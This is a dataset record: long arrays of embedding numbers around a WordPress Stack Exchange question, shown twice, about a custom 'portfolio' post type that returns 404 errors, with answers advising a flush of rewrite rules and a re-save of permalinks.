-0.0042266845703125,
-0.0291595458984375,
-0.039794921875,
0.03326416015625,
-0.003818511962890625,
-0.01433563232421875,
-0.0158233642578125,
0.0097503662109375,
-0.04296875,
-0.05560302734375,
-0.002048492431640625,
-0.0281219482421875,
0.002597808837890625,
-0.0197601318359375,
-0.024322509765625,
0.04718017578125,
-0.01702880859375,
0.01146697998046875,
-0.022979736328125,
-0.04144287109375,
0.0226593017578125,
-0.06768798828125,
-0.0086517333984375,
0.026885986328125,
0.004150390625,
-0.0228118896484375,
0.045135498046875,
-0.034393310546875,
-0.055816650390625,
-0.0170440673828125,
-0.025115966796875,
0.06439208984375,
-0.0269622802734375,
-0.01071929931640625,
0.0157012939453125,
0.0255279541015625,
-0.01319122314453125,
-0.05462646484375,
0.03533935546875,
-0.11541748046875,
-0.055145263671875,
-0.0282135009765625,
-0.038848876953125,
-0.0172576904296875,
-0.07330322265625,
-0.004428863525390625,
0.110107421875,
-0.01203155517578125,
-0.027862548828125,
0.0301971435546875,
0.061126708984375,
-0.036102294921875,
0.04779052734375,
-0.0005402565002441406,
-0.0210113525390625,
-0.004734039306640625,
-0.00525665283203125,
0.0209503173828125,
0.0129547119140625,
0.01023101806640625,
0.01702880859375,
0.04510498046875,
0.013275146484375,
0.0192108154296875,
-0.01450347900390625,
0.0143585205078125,
0.03887939453125,
-0.0156097412109375,
-0.00022172927856445312,
-0.005340576171875,
0.004459381103515625,
0.0013818740844726562,
-0.0153656005859375,
0.0313720703125,
-0.0290374755859375,
-0.0156402587890625,
0.02386474609375,
-0.002605438232421875,
0.0008645057678222656,
0.00510406494140625,
0.043060302734375,
0.0235443115234375,
-0.019805908203125,
-0.0158843994140625,
-0.033477783203125,
-0.02691650390625,
0.05731201171875,
0.01427459716796875,
0.0133514404296875,
0.0248870849609375,
-0.043701171875,
0.0548095703125,
-0.01427459716796875,
0.0245513916015625,
0.0158843994140625,
0.0138702392578125,
0.034149169921875,
0.022796630859375,
0.02105712890625,
0.044647216796875,
-0.0189971923828125,
0.03857421875,
0.0219879150390625,
0.035491943359375,
-0.034576416015625,
0.008148193359375,
0.033111572265625,
0.047119140625,
-0.04986572265625,
-0.017974853515625,
-0.007450103759765625,
-0.0161895751953125,
0.0187530517578125,
-0.00933074951171875,
0.0169219970703125,
-0.06060791015625,
-0.051544189453125,
-0.0197296142578125,
-0.018096923828125,
0.0089874267578125,
0.005718231201171875,
-0.00717926025390625,
-0.049346923828125,
0.0347900390625,
-0.00864410400390625,
-0.01425933837890625,
0.002452850341796875,
0.005580902099609375,
0.04290771484375,
0.010467529296875,
-0.006999969482421875,
-0.041595458984375,
-0.0155029296875,
-0.01959228515625,
-0.0192108154296875,
0.00832366943359375,
0.03350830078125,
-0.0210418701171875,
0.0280914306640625,
0.004367828369140625,
0.031982421875,
-0.0059356689453125,
0.022125244140625,
0.01468658447265625,
0.039276123046875,
0.0318603515625,
-0.006816864013671875,
0.00604248046875,
-0.004974365234375,
0.01194000244140625,
-0.01093292236328125,
-0.012420654296875,
-0.011077880859375,
-0.0158843994140625,
-0.0158538818359375,
0.03851318359375,
-0.0165252685546875,
0.027984619140625,
0.01116943359375,
0.0254974365234375,
0.007080078125,
0.0357666015625,
-0.003520965576171875,
0.0224609375,
0.049224853515625,
-0.0689697265625,
-0.01885986328125,
0.01078033447265625,
-0.0904541015625,
0.034759521484375,
0.053253173828125,
-0.048004150390625,
0.0227508544921875,
-0.007541656494140625,
0.01232147216796875,
-0.01727294921875,
-0.02093505859375,
0.036468505859375,
0.0225067138671875,
0.0035648345947265625,
0.039642333984375,
-0.044586181640625,
-0.02154541015625,
-0.0096893310546875,
0.01983642578125,
0.0202789306640625,
0.06878662109375,
0.004016876220703125,
0.0260772705078125,
-0.041961669921875,
0.0160064697265625,
-0.044525146484375,
-0.049713134765625,
0.00521087646484375,
0.0052032470703125,
0.0234832763671875,
0.0077362060546875,
-0.031646728515625,
0.0506591796875,
0.0362548828125,
-0.01245880126953125,
0.01444244384765625,
-0.005756378173828125,
0.00872039794921875,
-0.006519317626953125,
-0.0369873046875,
-0.0265655517578125,
-0.04351806640625,
0.015869140625,
0.036163330078125,
-0.00968170166015625,
0.00431060791015625,
-0.0007829666137695312,
0.00775909423828125,
0.0411376953125,
-0.012969970703125,
0.0277099609375,
-0.024505615234375,
0.057464599609375,
0.02850341796875,
0.0016994476318359375,
-0.016693115234375,
-0.005397796630859375,
-0.018768310546875,
0.01430511474609375,
0.00756072998046875,
0.04205322265625,
-0.015960693359375,
-0.021240234375,
0.0345458984375,
0.0628662109375,
0.048492431640625,
-0.016265869140625,
0.01617431640625,
0.05364990234375,
-0.02874755859375,
-0.003696441650390625,
0.004512786865234375,
-0.019866943359375,
-0.057647705078125,
-0.034454345703125,
0.0255584716796875,
-0.06304931640625,
0.00815582275390625,
-0.0550537109375,
-0.00675201416015625,
0.006397247314453125,
-0.00286102294921875,
-0.0244293212890625,
0.002300262451171875,
0.00656890869140625,
0.0236968994140625,
-0.04022216796875,
0.032684326171875,
0.00547027587890625,
0.04107666015625,
-0.039703369140625,
0.024200439453125,
-0.0175628662109375,
-0.0145263671875,
-0.006740570068359375,
0.0178680419921875,
0.01105499267578125,
-0.0236358642578125,
0.005615234375,
0.036956787109375,
0.02850341796875,
0.0787353515625,
-0.0007333755493164062,
-0.02130126953125,
0.0137786865234375,
0.0251922607421875,
-0.0207061767578125,
-0.0621337890625,
0.005901336669921875,
0.0016851425170898438,
-0.004673004150390625,
-0.00609588623046875,
-0.0200042724609375,
-0.034393310546875,
-0.041473388671875,
-0.049407958984375,
0.039642333984375,
0.0088043212890625,
-0.03314208984375,
-0.0275421142578125,
0.0439453125,
-0.0205078125,
-0.0059051513671875,
0.0015277862548828125,
-0.0245361328125,
0.026458740234375,
0.034149169921875,
0.0017948150634765625,
0.06573486328125,
0.0237274169921875,
0.0168609619140625,
-0.04888916015625,
-0.032684326171875,
-0.06744384765625,
0.0309906005859375,
0.004497528076171875,
-0.0111846923828125,
0.0214385986328125,
0.0364990234375,
-0.0300140380859375,
0.0004062652587890625,
-0.00408172607421875,
0.01187896728515625,
0.01055145263671875,
-0.057769775390625,
-0.0192718505859375,
-0.034423828125,
0.041595458984375,
-0.00220489501953125,
0.0114898681640625,
-0.0004982948303222656,
-0.0171051025390625,
0.0024852752685546875,
-0.00653076171875,
0.000057697296142578125,
0.01690673828125,
-0.06884765625,
-0.028717041015625,
0.0188751220703125,
0.04486083984375,
-0.0194244384765625,
0.00859832763671875,
0.005260467529296875,
-0.0308685302734375,
0.045074462890625,
0.0321044921875,
-0.07666015625,
0.0058441162109375,
0.0186309814453125,
-0.0160064697265625,
0.035888671875,
-0.01177978515625,
0.0158843994140625,
0.0213165283203125,
0.0362548828125,
-0.005939483642578125,
0.0130462646484375,
-0.066162109375,
0.01593017578125,
-0.0187835693359375,
0.0159912109375,
-0.054656982421875,
0.0143585205078125,
-0.0032024383544921875,
-0.001773834228515625,
-0.0018472671508789062,
-0.006717681884765625,
0.0162811279296875,
0.0181732177734375,
-0.01715087890625,
0.06915283203125,
-0.00946807861328125,
0.058563232421875,
0.0053253173828125,
0.06439208984375,
0.03851318359375,
-0.02911376953125,
0.0655517578125,
-0.029083251953125,
-0.016632080078125,
-0.04193115234375,
-0.010467529296875,
-0.09869384765625,
0.03509521484375,
0.01035308837890625,
-0.0022830963134765625,
0.055694580078125
] |
90cb5ba3f1a811a42892cb18128739b986595c57
|
Wordpress Stackexchange
Q: Created a custom post type- can't view it I created a custom post type ("Portfolio") and I can create the posts perfectly fine. The problem is when I go to view the item, it gives me a 404 error.
Here is the portfolio item
Here is my code registering the custom post type:
add_action( 'init', 'create_post_type' );
function create_post_type() {
$labels = array(
'name' => __('Portfolio'),
'singular_name' => __('Portfolio Item'),
'add_new' => __('Add New'),
'add_new_item' => __('Add New Portfolio Item'),
'edit_item' => __('Edit Portfolio Item'),
'new_item' => __('New Portfolio Item'),
'view_item' => __('View Portfolio Item'),
'search_items' => __('Search Portfolio'),
'not_found' => __('Nothing found'),
'not_found_in_trash' => __('Nothing found in Trash'),
'parent_item_colon' => ''
);
$args = array(
'labels' => $labels,
'public' => true,
'publicly_queryable' => true,
'show_ui' => true,
'query_var' => true,
'menu_icon' => null,
'rewrite' => true,
'capability_type' => 'post',
'hierarchical' => false,
'menu_position' => null,
'supports' => array('title','editor','thumbnail','excerpt','comments')
);
register_post_type( 'portfolio' , $args );
}
I'm missing something but I don't know what. Help! Thanks in advance :)
A: Do the following things and try.
*
*Flush rewrite rules.(Check the link enter link description here).
*Update your permalink.
|
Q: Created a custom post type- can't view it I created a custom post type ("Portfolio") and I can create the posts perfectly fine. The problem is when I go to view the item, it gives me a 404 error.
Here is the portfolio item
Here is my code registering the custom post type:
add_action( 'init', 'create_post_type' );
function create_post_type() {
$labels = array(
'name' => __('Portfolio'),
'singular_name' => __('Portfolio Item'),
'add_new' => __('Add New'),
'add_new_item' => __('Add New Portfolio Item'),
'edit_item' => __('Edit Portfolio Item'),
'new_item' => __('New Portfolio Item'),
'view_item' => __('View Portfolio Item'),
'search_items' => __('Search Portfolio'),
'not_found' => __('Nothing found'),
'not_found_in_trash' => __('Nothing found in Trash'),
'parent_item_colon' => ''
);
$args = array(
'labels' => $labels,
'public' => true,
'publicly_queryable' => true,
'show_ui' => true,
'query_var' => true,
'menu_icon' => null,
'rewrite' => true,
'capability_type' => 'post',
'hierarchical' => false,
'menu_position' => null,
'supports' => array('title','editor','thumbnail','excerpt','comments')
);
register_post_type( 'portfolio' , $args );
}
I'm missing something but I don't know what. Help! Thanks in advance :)
A: Do the following things and try.
*
*Flush rewrite rules.(Check the link enter link description here).
*Update your permalink.
A: Try to regenerate your permalinks.
Go to Settings / Permalinks and click the Save button.
|
wordpress
|
{
"language": "en",
"length": 206,
"provenance": "stackexchange_00019.jsonl.gz:436865",
"question_score": "3",
"source": "stackexchange",
"timestamp": "2023-03-29",
"url": "https://wordpress.stackexchange.com/questions/113473"
}
|
[
0.034698486328125,
-0.022216796875,
0.01012420654296875,
-0.01438140869140625,
-0.006732940673828125,
-0.00930023193359375,
0.05120849609375,
-0.0169219970703125,
-0.02630615234375,
-0.013946533203125,
-0.022491455078125,
-0.03497314453125,
-0.055145263671875,
-0.0447998046875,
0.002971649169921875,
-0.0654296875,
0.0279541015625,
0.0021381378173828125,
0.05950927734375,
-0.01313018798828125,
0.0208587646484375,
-0.01096343994140625,
0.06170654296875,
0.0173492431640625,
0.0286865234375,
-0.0125274658203125,
0.01381683349609375,
-0.02020263671875,
-0.00708770751953125,
-0.018280029296875,
0.01192474365234375,
0.020355224609375,
0.0012865066528320312,
0.00440216064453125,
0.034423828125,
0.042449951171875,
0.061767578125,
0.00557708740234375,
0.04669189453125,
0.0185546875,
0.0188140869140625,
-0.0087738037109375,
0.0230865478515625,
0.0182342529296875,
-0.006977081298828125,
-0.030181884765625,
0.005329132080078125,
-0.05224609375,
0.005126953125,
-0.028350830078125,
0.01270294189453125,
0.0199737548828125,
0.0428466796875,
-0.037109375,
-0.02142333984375,
-0.00007915496826171875,
0.0134124755859375,
-0.01352691650390625,
0.0299530029296875,
-0.012847900390625,
-0.0296478271484375,
-0.0008306503295898438,
0.0188751220703125,
-0.03216552734375,
0.01079559326171875,
0.0099029541015625,
0.01189422607421875,
0.0262298583984375,
-0.0546875,
-0.004638671875,
0.0188446044921875,
-0.044677734375,
0.02783203125,
-0.0301971435546875,
-0.005901336669921875,
-0.046112060546875,
0.0002987384796142578,
-0.046539306640625,
0.01027679443359375,
-0.004241943359375,
-0.004558563232421875,
0.006267547607421875,
-0.0216217041015625,
-0.0136566162109375,
-0.006839752197265625,
0.0191802978515625,
-0.0229949951171875,
-0.02081298828125,
0.0019626617431640625,
0.00008416175842285156,
-0.005840301513671875,
-0.035186767578125,
0.00772857666015625,
0.0609130859375,
0.004032135009765625,
-0.0112457275390625,
0.025238037109375,
0.037109375,
0.006206512451171875,
0.055572509765625,
-0.0012693405151367188,
-0.051116943359375,
0.09869384765625,
-0.055023193359375,
0.019287109375,
0.00628662109375,
-0.01390838623046875,
-0.01494598388671875,
0.042144775390625,
0.0184478759765625,
-0.007602691650390625,
0.046295166015625,
-0.0113677978515625,
-0.0174407958984375,
-0.029754638671875,
0.024932861328125,
-0.0169677734375,
-0.01837158203125,
-0.0072021484375,
0.00965118408203125,
0.013031005859375,
0.0292205810546875,
0.00970458984375,
-0.0201568603515625,
0.01044464111328125,
0.00502777099609375,
-0.0097503662109375,
-0.042510986328125,
0.0755615234375,
0.00012362003326416016,
-0.054534912109375,
0.025115966796875,
0.07354736328125,
-0.008148193359375,
0.0202789306640625,
-0.01558685302734375,
0.01548004150390625,
-0.055755615234375,
-0.02777099609375,
0.0328369140625,
0.0090484619140625,
-0.01364898681640625,
0.0113677978515625,
-0.0165863037109375,
-0.0101165771484375,
0.0400390625,
0.01422119140625,
-0.007373809814453125,
-0.018951416015625,
-0.0675048828125,
0.004608154296875,
-0.0496826171875,
0.035736083984375,
0.0252838134765625,
-0.0232391357421875,
-0.0087432861328125,
0.03826904296875,
-0.0233917236328125,
-0.033477783203125,
-0.042694091796875,
0.03594970703125,
0.00177001953125,
-0.01407623291015625,
-0.0377197265625,
-0.048004150390625,
-0.0088958740234375,
-0.0330810546875,
-0.0023345947265625,
0.0338134765625,
0.007171630859375,
0.0243988037109375,
-0.034912109375,
0.00846099853515625,
0.0064849853515625,
0.00830078125,
0.0168304443359375,
-0.010528564453125,
-0.0175323486328125,
0.0193939208984375,
0.0484619140625,
-0.006595611572265625,
-0.0355224609375,
0.0175323486328125,
-0.0025634765625,
-0.058074951171875,
0.038787841796875,
0.0237579345703125,
0.0421142578125,
-0.0034999847412109375,
0.0159454345703125,
0.0390625,
0.033599853515625,
-0.0187835693359375,
0.01111602783203125,
-0.0214691162109375,
0.0015583038330078125,
-0.02728271484375,
0.00992584228515625,
-0.02703857421875,
0.0180511474609375,
-0.0200347900390625,
0.01000213623046875,
-0.01090240478515625,
-0.0009851455688476562,
-0.0340576171875,
-0.004184722900390625,
-0.0025768280029296875,
0.0289306640625,
-0.0296630859375,
0.019287109375,
0.030792236328125,
0.00347900390625,
-0.03131103515625,
-0.00948333740234375,
0.0197296142578125,
0.029571533203125,
-0.020965576171875,
0.004283905029296875,
-0.03668212890625,
0.004985809326171875,
-0.03204345703125,
-0.040313720703125,
-0.0400390625,
0.0277862548828125,
0.0714111328125,
0.0045623779296875,
-0.01171875,
-0.005947113037109375,
0.05828857421875,
0.034881591796875,
-0.0526123046875,
0.007038116455078125,
0.0077667236328125,
-0.030517578125,
-0.051361083984375,
-0.01136016845703125,
-0.00917816162109375,
-0.046356201171875,
0.004489898681640625,
0.06976318359375,
0.0094757080078125,
0.026702880859375,
-0.015777587890625,
0.0157318115234375,
0.06903076171875,
-0.0085296630859375,
-0.000797271728515625,
0.02069091796875,
-0.01316070556640625,
0.04052734375,
0.036041259765625,
0.027191162109375,
0.0134429931640625,
0.0035648345947265625,
0.0054931640625,
0.037811279296875,
-0.0014524459838867188,
0.01074981689453125,
0.0045166015625,
0.003986358642578125,
-0.00594329833984375,
-0.01343536376953125,
-0.0191650390625,
-0.0126953125,
0.033477783203125,
0.04461669921875,
0.057830810546875,
0.03948974609375,
-0.04302978515625,
0.0251617431640625,
0.0037174224853515625,
0.023651123046875,
-0.003345489501953125,
0.036376953125,
0.060577392578125,
-0.004291534423828125,
-0.039276123046875,
-0.01194000244140625,
0.03076171875,
0.0151824951171875,
-0.0127410888671875,
0.0260772705078125,
-0.047027587890625,
0.0013055801391601562,
-0.0182647705078125,
-0.049163818359375,
0.00208282470703125,
0.041046142578125,
0.041168212890625,
0.0015735626220703125,
0.03741455078125,
-0.017242431640625,
-0.0149078369140625,
0.016815185546875,
0.0258941650390625,
-0.0545654296875,
0.0204010009765625,
-0.0780029296875,
0.060089111328125,
-0.05853271484375,
0.07012939453125,
0.06658935546875,
-0.036834716796875,
0.0234832763671875,
0.0216217041015625,
-0.0477294921875,
-0.0016870498657226562,
0.062744140625,
0.0157012939453125,
-0.046478271484375,
-0.025146484375,
0.0234527587890625,
0.018463134765625,
-0.007904052734375,
0.00865936279296875,
-0.0154876708984375,
-0.006084442138671875,
0.0270233154296875,
-0.048187255859375,
-0.047515869140625,
0.000789642333984375,
-0.05401611328125,
-0.0113067626953125,
-0.012237548828125,
-0.037384033203125,
0.0029850006103515625,
0.00022554397583007812,
0.00806427001953125,
-0.0063018798828125,
-0.016571044921875,
-0.067138671875,
-0.05731201171875,
-0.0755615234375,
-0.01065826416015625,
-0.001678466796875,
0.0112152099609375,
0.0178985595703125,
0.05340576171875,
0.023345947265625,
-0.040008544921875,
0.04541015625,
-0.0177154541015625,
-0.02301025390625,
0.04278564453125,
0.0168609619140625,
-0.0125732421875,
0.004367828369140625,
0.006748199462890625,
0.05096435546875,
0.01532745361328125,
-0.028778076171875,
-0.0245819091796875,
-0.0166015625,
-0.04052734375,
-0.00901031494140625,
0.0194854736328125,
0.0225067138671875,
-0.0149993896484375,
0.0164337158203125,
-0.051910400390625,
-0.046478271484375,
-0.01226043701171875,
-0.039581298828125,
0.007419586181640625,
0.017852783203125,
0.0240020751953125,
-0.03350830078125,
0.052978515625,
-0.034332275390625,
0.01239013671875,
0.0482177734375,
-0.04888916015625,
0.0538330078125,
-0.0164031982421875,
-0.041900634765625,
-0.031585693359375,
0.023895263671875,
-0.00982666015625,
0.0304718017578125,
0.0237274169921875,
0.023529052734375,
0.00316619873046875,
0.002368927001953125,
-0.01068878173828125,
-0.064208984375,
0.03204345703125,
-0.05206298828125,
0.0004715919494628906,
-0.03802490234375,
-0.017913818359375,
-0.002838134765625,
0.07086181640625,
-0.0318603515625,
0.010345458984375,
0.0003807544708251953,
0.00196075439453125,
-0.0028591156005859375,
-0.048980712890625,
-0.056732177734375,
-0.002956390380859375,
-0.05865478515625,
0.0200958251953125,
0.0157623291015625,
-0.03875732421875,
-0.00020039081573486328,
-0.0108795166015625,
-0.053558349609375,
-0.0233001708984375,
0.0538330078125,
-0.0328369140625,
0.03472900390625,
0.0146026611328125,
0.0391845703125,
-0.037628173828125,
-0.04095458984375,
-0.0084228515625,
-0.11175537109375,
-0.01003265380859375,
-0.0204620361328125,
0.068115234375,
-0.0057830810546875,
0.033233642578125,
-0.02569580078125,
0.05908203125,
0.04345703125,
0.028839111328125,
0.0035915374755859375,
-0.033416748046875,
-0.0301971435546875,
0.00006884336471557617,
0.00620269775390625,
-0.0205535888671875,
-0.0037555694580078125,
-0.01441192626953125,
-0.018096923828125,
0.006374359130859375,
-0.0236053466796875,
-0.01398468017578125,
0.0055084228515625,
-0.02630615234375,
-0.005588531494140625,
-0.03240966796875,
-0.025146484375,
0.03497314453125,
0.003147125244140625,
-0.0211944580078125,
-0.03790283203125,
-0.0318603515625,
0.0241851806640625,
-0.061126708984375,
-0.006740570068359375,
0.020538330078125,
0.08502197265625,
0.0200958251953125,
0.00850677490234375,
-0.018707275390625,
0.0178985595703125,
0.041656494140625,
0.01535797119140625,
0.0137176513671875,
0.0015935897827148438,
-0.0189971923828125,
0.0224761962890625,
0.0026226043701171875,
-0.0216217041015625,
0.02960205078125,
0.03497314453125,
0.01036834716796875,
-0.011749267578125,
0.00292205810546875,
-0.022064208984375,
0.01025390625,
0.0266571044921875,
-0.008392333984375,
-0.014678955078125,
0.002712249755859375,
0.032867431640625,
-0.0384521484375,
0.0277557373046875,
-0.02398681640625,
-0.00725555419921875,
0.007602691650390625,
0.028717041015625,
0.03167724609375,
0.026885986328125,
-0.002712249755859375,
-0.004146575927734375,
-0.0273590087890625,
0.0013570785522460938,
-0.02880859375,
0.006420135498046875,
-0.01318359375,
0.00994873046875,
0.0182952880859375,
-0.01036834716796875,
-0.0261077880859375,
0.002613067626953125,
-0.0060577392578125,
0.01236724853515625,
-0.0251617431640625,
-0.0284576416015625,
0.0219573974609375,
0.03045654296875,
0.0016660690307617188,
0.036285400390625,
0.020263671875,
0.045440673828125,
0.018341064453125,
-0.006656646728515625,
0.004581451416015625,
0.0804443359375,
-0.0240478515625,
0.0279998779296875,
0.006473541259765625,
0.0002892017364501953,
-0.04351806640625,
0.06549072265625,
0.03973388671875,
-0.00830841064453125,
-0.0300750732421875,
0.04266357421875,
0.03985595703125,
0.03533935546875,
0.01287078857421875,
-0.0285491943359375,
0.005199432373046875,
0.0129547119140625,
-0.0111083984375,
-0.0567626953125,
-0.00540924072265625,
0.013916015625,
0.06591796875,
-0.01268768310546875,
-0.041107177734375,
0.0489501953125,
-0.0282135009765625,
-0.0240478515625,
0.0018224716186523438,
-0.040313720703125,
-0.062286376953125,
-0.016815185546875,
0.0289306640625,
0.0276947021484375,
-0.0207061767578125,
-0.0340576171875,
0.0289459228515625,
-0.04132080078125,
0.02911376953125,
-0.0230560302734375,
-0.00727081298828125,
0.0072174072265625,
0.01275634765625,
0.0291290283203125,
-0.01348114013671875,
0.0249786376953125,
-0.035003662109375,
0.00982666015625,
-0.036468505859375,
-0.01467132568359375,
0.07086181640625,
-0.017791748046875,
0.012939453125,
-0.03131103515625,
0.0011806488037109375,
-0.0005655288696289062,
0.0114593505859375,
0.04241943359375,
-0.005016326904296875,
0.019012451171875,
0.0000355839729309082,
-0.01282501220703125,
-0.0215301513671875,
0.0034122467041015625,
-0.033599853515625,
-0.00762939453125,
-0.018798828125,
-0.0156707763671875,
0.0186004638671875,
-0.0004773139953613281,
-0.0185394287109375,
-0.027008056640625,
0.016265869140625,
0.01551055908203125,
0.0265655517578125,
-0.0312042236328125,
0.034271240234375,
0.028472900390625,
0.0452880859375,
0.0036869049072265625,
-0.0038242340087890625,
0.003887176513671875,
-0.01297760009765625,
-0.01263427734375,
-0.0750732421875,
-0.01314544677734375,
0.005947113037109375,
-0.03033447265625,
0.06805419921875,
0.05712890625,
0.0038242340087890625,
0.00812530517578125,
-0.0168304443359375,
-0.0158233642578125,
-0.017364501953125,
0.0241241455078125,
0.007579803466796875,
0.0210418701171875,
0.00701904296875,
-0.0013570785522460938,
0.04339599609375,
0.020843505859375,
-0.0168304443359375,
-0.0024356842041015625,
0.001361846923828125,
0.0170440673828125,
0.0196533203125,
-0.036163330078125,
0.03924560546875,
0.068603515625,
-0.01145172119140625,
0.04266357421875,
-0.0034122467041015625,
-0.0105743408203125,
0.027984619140625,
0.01361846923828125,
-0.023162841796875,
-0.0117034912109375,
0.055816650390625,
0.0045166015625,
-0.01788330078125,
0.043914794921875,
-0.0174407958984375,
0.0007205009460449219,
0.055206298828125,
0.045196533203125,
-0.06414794921875,
-0.01406097412109375,
-0.005352020263671875,
-0.01490020751953125,
0.04498291015625,
-0.003986358642578125,
0.034210205078125,
0.047637939453125,
-0.007221221923828125,
-0.0137176513671875,
-0.03277587890625,
-0.0115814208984375,
-0.00431060791015625,
0.0137176513671875,
0.009002685546875,
0.050018310546875,
-0.0107421875,
-0.0650634765625,
-0.033538818359375,
0.031341552734375,
-0.028106689453125,
-0.01641845703125,
0.022735595703125,
-0.032623291015625,
0.0189971923828125,
-0.028594970703125,
0.039459228515625,
-0.03106689453125,
0.033233642578125,
0.051727294921875,
-0.0076141357421875,
0.0157470703125,
0.013458251953125,
-0.0200347900390625,
0.03411865234375,
-0.0247650146484375,
-0.004673004150390625,
0.00864410400390625,
-0.033203125,
0.004642486572265625,
0.033416748046875,
-0.037322998046875,
0.017547607421875,
-0.01340484619140625,
-0.01149749755859375,
-0.001667022705078125,
0.0267181396484375,
0.062225341796875,
-0.0281829833984375,
-0.02044677734375,
0.041778564453125,
0.01526641845703125,
-0.0164337158203125,
0.0171966552734375,
-0.0325927734375,
-0.044097900390625,
-0.0281524658203125,
-0.004924774169921875,
-0.05828857421875,
0.0229644775390625,
0.0164337158203125,
-0.016326904296875,
0.0684814453125,
-0.031341552734375,
0.011993408203125,
0.0552978515625,
0.0235443115234375,
-0.022857666015625,
0.01373291015625,
-0.032958984375,
0.0021839141845703125,
-0.0270233154296875,
0.04541015625,
-0.052398681640625,
-0.01071929931640625,
0.0011110305786132812,
0.046417236328125,
0.08270263671875,
0.017822265625,
-0.042022705078125,
0.000018656253814697266,
0.07879638671875,
0.0200958251953125,
-0.0164031982421875,
0.048126220703125,
0.01213836669921875,
0.0262603759765625,
0.011749267578125,
-0.00399017333984375,
0.0509033203125,
-0.036773681640625,
-0.054412841796875,
0.02239990234375,
0.01316070556640625,
-0.0016937255859375,
-0.006923675537109375,
-0.07110595703125,
-0.0389404296875,
0.01079559326171875,
0.0125579833984375,
0.025238037109375,
-0.001140594482421875,
0.024688720703125,
0.0404052734375,
-0.041656494140625,
-0.0226593017578125,
-0.0267181396484375,
0.044281005859375,
0.0090789794921875,
-0.0108642578125,
-0.005462646484375,
0.0202178955078125,
-0.023040771484375,
-0.04718017578125,
-0.0185546875,
0.02655029296875,
-0.03802490234375,
0.0135955810546875,
0.028564453125,
0.0285797119140625,
-0.0218505859375,
0.002155303955078125,
0.0660400390625,
0.041900634765625,
-0.0355224609375,
-0.068359375,
0.010040283203125,
0.028350830078125,
0.002254486083984375,
0.0307464599609375,
0.02911376953125,
-0.0160369873046875,
0.045257568359375,
-0.07000732421875,
0.0041046142578125,
0.008270263671875,
0.02813720703125,
-0.030517578125,
-0.0584716796875,
-0.012939453125,
0.0014190673828125,
-0.042236328125,
-0.00911712646484375,
0.033782958984375,
0.06787109375,
0.016387939453125,
0.057464599609375,
-0.0042572021484375,
-0.03277587890625,
-0.0166778564453125,
0.0095672607421875,
-0.0202789306640625,
0.0281524658203125,
-0.06890869140625,
-0.060821533203125,
0.041259765625,
0.06494140625,
0.00652313232421875,
0.0166015625,
0.007747650146484375,
0.01319122314453125,
0.032623291015625,
0.00415802001953125,
0.04412841796875,
-0.004039764404296875,
-0.04681396484375,
-0.038909912109375,
-0.0253143310546875,
0.0004634857177734375,
-0.006183624267578125,
0.032470703125,
-0.02191162109375,
0.0146636962890625,
-0.029083251953125,
0.054046630859375,
-0.0186309814453125,
-0.0111846923828125,
0.0631103515625,
-0.02716064453125,
0.10125732421875,
-0.01023101806640625,
-0.0560302734375,
-0.023101806640625,
-0.0137786865234375,
-0.056396484375,
0.0240631103515625,
0.041839599609375,
-0.01129913330078125,
0.001453399658203125,
0.0254364013671875,
-0.0076141357421875,
-0.0038604736328125,
0.00604248046875,
0.0260162353515625,
0.0218505859375,
0.013824462890625,
0.0343017578125,
-0.0506591796875,
-0.0284423828125,
-0.0125579833984375,
0.03826904296875,
-0.01114654541015625,
0.10009765625,
-0.033172607421875,
0.0168914794921875,
-0.031402587890625,
0.0594482421875,
-0.07269287109375,
-0.0203094482421875,
0.0165863037109375,
0.00582122802734375,
0.009552001953125,
-0.01050567626953125,
0.01543426513671875,
-0.00518035888671875,
0.04815673828125,
-0.07574462890625,
-0.031036376953125,
0.01186370849609375,
0.0216827392578125,
-0.0198822021484375,
-0.0091400146484375,
-0.03765869140625,
-0.0295257568359375,
-0.066162109375,
-0.0384521484375,
0.023193359375,
-0.0042572021484375,
-0.00827789306640625,
0.041839599609375,
0.00405120849609375,
-0.0195159912109375,
0.0377197265625,
-0.049591064453125,
0.041412353515625,
0.0222320556640625,
0.00498199462890625,
-0.03631591796875,
-0.01131439208984375,
-0.01812744140625,
0.0022525787353515625,
0.01126861572265625,
0.0285797119140625,
-0.0081024169921875,
0.0038814544677734375,
0.035736083984375,
-0.0194244384765625,
0.002197265625,
-0.044586181640625,
-0.005298614501953125,
0.035003662109375,
-0.006305694580078125,
0.0174407958984375,
0.015838623046875,
-0.0030765533447265625,
-0.0186614990234375,
-0.004425048828125,
0.00855255126953125,
0.007171630859375,
-0.0090484619140625,
-0.036834716796875,
0.01690673828125,
0.0445556640625,
0.02569580078125,
-0.0645751953125,
0.033050537109375,
-0.024200439453125,
0.0199432373046875,
0.034942626953125,
-0.033050537109375,
0.0304718017578125,
0.060028076171875,
-0.015869140625,
0.03546142578125,
-0.0089111328125,
-0.055389404296875,
-0.01445770263671875,
0.043609619140625,
0.04962158203125,
-0.035675048828125,
-0.0091094970703125,
0.0238189697265625,
0.0161590576171875,
0.0745849609375,
0.024200439453125,
-0.0265350341796875,
-0.0157318115234375,
-0.0016679763793945312,
-0.0081634521484375,
-0.045562744140625,
0.0189971923828125,
-0.08740234375,
-0.039703369140625,
0.005710601806640625,
0.00449371337890625,
0.02972412109375,
-0.0296783447265625,
-0.07855224609375,
0.051605224609375,
-0.00734710693359375,
-0.024810791015625,
-0.06573486328125,
0.03839111328125,
-0.005268096923828125,
0.034423828125,
-0.01430511474609375,
-0.0270233154296875,
-0.0031032562255859375,
0.0171966552734375,
-0.004909515380859375,
0.01302337646484375,
0.0261383056640625,
-0.013397216796875,
-0.0173492431640625,
-0.009735107421875,
0.0010700225830078125,
-0.0310516357421875,
0.0177459716796875,
-0.0240020751953125,
0.0225372314453125,
0.034576416015625,
-0.0294952392578125,
-0.06402587890625,
-0.00966644287109375,
-0.0163726806640625,
0.0341796875,
-0.0132904052734375,
-0.03375244140625,
-0.032379150390625,
0.0019388198852539062,
-0.021881103515625,
0.012298583984375,
0.0243377685546875,
0.005977630615234375,
-0.057281494140625,
-0.07904052734375,
-0.0194549560546875,
0.039703369140625,
-0.09283447265625,
-0.0010519027709960938,
0.042633056640625,
0.0288848876953125,
0.01129150390625,
-0.00995635986328125,
0.0225982666015625,
-0.022613525390625,
0.032073974609375,
-0.01375579833984375,
-0.034332275390625,
-0.0013437271118164062,
0.034271240234375,
-0.007053375244140625,
-0.0011167526245117188,
-0.014251708984375,
0.005306243896484375,
0.0194854736328125,
0.0111083984375,
-0.045806884765625,
0.0012464523315429688,
0.004482269287109375,
0.025146484375,
-0.0017032623291015625,
0.032623291015625,
-0.014801025390625,
0.0328369140625,
